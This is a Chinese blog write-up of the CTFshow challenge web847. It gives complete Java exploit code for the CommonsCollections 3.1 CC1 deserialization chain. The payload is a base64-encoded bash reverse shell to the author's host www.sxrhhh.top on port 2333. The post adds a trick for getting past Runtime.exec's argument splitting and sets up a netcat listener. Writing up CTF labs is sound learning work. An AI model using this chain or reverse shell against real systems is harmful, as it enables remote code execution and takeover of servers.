跳转至

每日一题 —— [CTFshow]web847

题目地址:https://ctf.show/challenges#web847-3922

打开这道题,告诉了我们这个题目的环境是 JDK7 以及 CommonCollections 3.1 的环境。也就是说,我们可以直接使用 CC1 链来进行攻击。我们这次不使用 ysoserial 而是使用我之前那篇博客写好的 EXP 直接改一下执行的命令就可以使用了。

先来看一下我们的总体的 EXP:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
    // 构造 chainedTransformer
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash"}),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    // 构造 transformedMap
    HashMap<Object, Object> map = new HashMap<>();
    map.put("value", "value");
    Map<Object, Object> transformedMap = (Map) TransformedMap.decorate(map, null, chainedTransformer);

    // 构造 annotationInvocationHandler 然后序列化
    Class annotationInvocationHdl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = annotationInvocationHdl.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object obj = constructor.newInstance(Target.class, transformedMap);

    serialize(obj, "ser.bin");
}

和之前博客里唯一不一样的地方就是:写进最后一个 InvokerTransformer 的危险命令,已经被改成了长长的一段:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash

解码中间这个 Base64 密文,就是 bash -i >& /dev/tcp/www.sxrhhh.top/2333 0>&1,一串最基本的反弹 shell. 但是如果把整个字符串,带上前面的 bash -c 的话,就会导致执行无法成功。这个和 Runtime.exec() 方法的解析有关。它会按空格把整个字符串截取。具体细节可以参考这篇博客,总之我们应该尽量把命令字符串控制为 —— 命令名称、命令选项、命令参数 这三段。

对于我们在 Java 上的反弹 shell 来说,最简便的方法就是: bash -c {echo,xxxbash64}|{base64,-d}|bash 。将其中 xxxbase64 替换成要执行的命令即可。这两个空格将字符串分为三段,分别被 exec 解析然后执行。如果说想要在 bash 环境下执行这条命令的话,那么你需要手动给第三段加上双引号,让 shell 知道第三段是字符串

现在我们已经在当前文件夹获得了这个叫做 ser.bin 的文件。我们现在需要把他转成 base64 的形式:

cat ser.bin | base64 -w 0

然后复制它输出的 base64 编码,给题目中的 ctfshow 的 POST 参数传进去。切记需要进行 urlencode 编码,否则有一堆问题

在发送请求之前,我们打开我们的 VPS ,输入 nc -lvvp 2333 监听我们的 2333 端口。然后把 payload 发送给靶场,如果没有问题,靶场会返回以下界面(用 ysoserial 生成的 payload 会报一个小错,但不影响) :

然后看一眼 VPS ,只要没有问题,多等待一会,就可以 getshell 了。执行 cat /flag 就可以得到 flag。


文章热度:0次阅读